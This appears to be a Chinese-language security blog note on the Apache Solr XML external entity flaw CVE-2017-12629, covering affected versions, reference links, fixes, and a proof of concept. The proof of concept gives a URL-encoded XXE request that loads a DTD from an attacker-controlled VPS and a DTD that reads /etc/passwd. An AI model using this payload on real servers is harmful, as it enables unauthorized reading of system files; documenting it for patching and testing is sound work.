Apache solr XML 实体注入漏洞

描述:

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。

范围:

Apache solr<7.1.0 版本

利用:

可参考:https://vulhub.org/#/environments/solr/CVE-2017-12629-XXE/

以及:https://blog.csdn.net/yangbz123/article/details/117827547

修复:

升级更高版本

添加Solr访问控制,包括禁止本地直接未授权访问

修改相关java文件

Poc:
复制代码

/solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20%3F%3E%3C!DOCTYPE%20root%5B%3C!ENTITY%20%25%20ext%20SYSTEM%20%22http%3A%2F%2Fxxx.xxx.xxx.xxx%2Fapachesolrxxe.dtd%22%3E%25ext%3B%25ent%3B%5D%3E%3Cr%3E%26data%3B%3C%2Fr%3E&wt=xml&defType=xmlparser 其中xxx.xxx.xxx.xxx为vps的ip地址 apachesolrxxe.dtd为dtd文件名

复制代码

vps中dtd文件内容:

复制代码

<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

相关推荐
好奇的菜鸟1 小时前
使用 Apache Flink CDC 3.0 实现 MySQL 到 Elasticsearch 的数据同步
mysql·flink·apache
练习时长一年2 天前
logback-spring.xml 文件
xml·spring·logback
byte轻骑兵2 天前
大数据时代时序数据库选型指南:深度解析与 Apache IoTDB 实践
大数据·apache·时序数据库
cloudcruiser2 天前
Apache HTTP Server:深入探索Web世界的磐石基石!!!
前端·其他·http·apache
l1t2 天前
DeepSeek辅助编写的将xlsx格式文件中sheet1.xml按需分别保留或去掉标签的程序
xml·python·excel·wps·xlsx
l1t2 天前
分析xml标签属性和压缩级别对xlsx文件读取解析的影响
xml·开发语言·python·sql·duckdb
奔跑草-2 天前
【服务器】Apache Superset功能、部署与体验
运维·服务器·apache·powerbi·superset
猫头虎3 天前
开源协议区别与限制详解:Fork、改名、再发布是否合法?(MIT、Apache、GPL、BSD、SSPL、BSL)
git·开源·github·apache·开源软件·开源协议·gitcode
yw00yw3 天前
小程序插件使用
java·小程序·apache
张人玉5 天前
XML 序列化与操作详解笔记
xml·前端·笔记